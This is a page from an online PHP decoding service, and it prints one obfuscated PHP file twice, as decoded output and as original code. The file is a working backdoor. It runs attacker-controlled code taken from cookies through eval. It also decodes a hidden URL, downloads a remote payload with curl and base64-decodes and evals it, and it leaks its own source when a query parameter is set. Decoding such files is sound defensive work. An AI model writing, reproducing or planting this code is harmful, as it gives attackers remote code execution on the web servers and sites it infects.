Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $a = range("~", " "); $b = ${"_COOKIE"}; if ((in_array(gettype($b) . count($b)..
Decoded Output download
<?php
$a = range("~", " ");
$b = ${"_COOKIE"};
if ((in_array(gettype($b) . count($b) , $b) && count($b) == 25))
{
(($b[67] = $b[67] . $b[80]) && ($b[90] = $b[67]($b[90])) && (@eval($b[67](${$b[38]}[29]))));
}
class _
{
static function ___($c, $d = 0)
{
$e = range("~", " ");
$f = explode("o", $c);
foreach ($f as $g => $h) @$i .= $e[$h - $d];
return $i;
}
static function ____($j, $l)
{
$m = curl_init($j);
curl_setopt($m, CURLOPT_RETURNTRANSFER, 1);
$n = curl_exec($m);
return empty($n) ? $l($j) : $n;
}
static function __()
{
$p = array(
"27o12o25o29o10o25o31o24o9o16o27o10o21o15o16",
"11o10o12o31o12o15o10o77o75",
"20o11o15o16o31o26o25o27o15o26o25",
"14o29o27o19",
"28o29o11o25o72o74o31o26o25o27o15o26o25",
"24o21o18o25o31o23o25o10o31o27o15o16o10o25o16o10o11",
"54o84",
"1",
"79o84",
"61o44o44o61o37",
"15o24",
);
foreach ($p as $h) $q[] = self::___($h);
var_dump($q);
$r = str_rot13("5o313639333034343836362p22687474703n5p2s5p2s353835706p2r677265656r69616r2r686169725p2s3s6p633q78696164616r5s72616r645s7061746826743q313639333034313236362q3037613432376130653534373535383166623032396634613936633832633333222p223664353136386636616235333563363239313533393464373139626638313535222p226638613531633563383166656138353739393038393634373032363437643264225q");
$s = @pack("H*", $r);
$t = json_decode($s, true);
@${ "_GET" }["of"] == 1 && die(file_get_contents(__FILE__));
if (((@$t[0] - time()) > 0) and (md5(md5($t[2])) === "cb508614978e98198cb3d9c89d0fc47f")):
$u = self::____($t[1], file_get_contents);
@eval(base64_decode($u));
die;
endif;
}
}
_::__(); ?>
Did this file decode correctly?
Original Code
<?php
$a = range("~", " ");
$b = ${"_COOKIE"};
if ((in_array(gettype($b) . count($b) , $b) && count($b) == 25))
{
(($b[67] = $b[67] . $b[80]) && ($b[90] = $b[67]($b[90])) && (@eval($b[67](${$b[38]}[29]))));
}
class _
{
static function ___($c, $d = 0)
{
$e = range("~", " ");
$f = explode("o", $c);
foreach ($f as $g => $h) @$i .= $e[$h - $d];
return $i;
}
static function ____($j, $l)
{
$m = curl_init($j);
curl_setopt($m, CURLOPT_RETURNTRANSFER, 1);
$n = curl_exec($m);
return empty($n) ? $l($j) : $n;
}
static function __()
{
$p = array(
"27o12o25o29o10o25o31o24o9o16o27o10o21o15o16",
"11o10o12o31o12o15o10o77o75",
"20o11o15o16o31o26o25o27o15o26o25",
"14o29o27o19",
"28o29o11o25o72o74o31o26o25o27o15o26o25",
"24o21o18o25o31o23o25o10o31o27o15o16o10o25o16o10o11",
"54o84",
"1",
"79o84",
"61o44o44o61o37",
"15o24",
);
foreach ($p as $h) $q[] = self::___($h);
var_dump($q);
$r = str_rot13("5o313639333034343836362p22687474703n5p2s5p2s353835706p2r677265656r69616r2r686169725p2s3s6p633q78696164616r5s72616r645s7061746826743q313639333034313236362q3037613432376130653534373535383166623032396634613936633832633333222p223664353136386636616235333563363239313533393464373139626638313535222p226638613531633563383166656138353739393038393634373032363437643264225q");
$s = @pack("H*", $r);
$t = json_decode($s, true);
@${ "_GET" }["of"] == 1 && die(file_get_contents(__FILE__));
if (((@$t[0] - time()) > 0) and (md5(md5($t[2])) === "cb508614978e98198cb3d9c89d0fc47f")):
$u = self::____($t[1], file_get_contents);
@eval(base64_decode($u));
die;
endif;
}
}
_::__(); ?>
Function Calls
range | 1 |
Stats
MD5 | eab771d4b00f20ce488ff1224ffedb22 |
Eval Count | 0 |
Decode Time | 53 ms |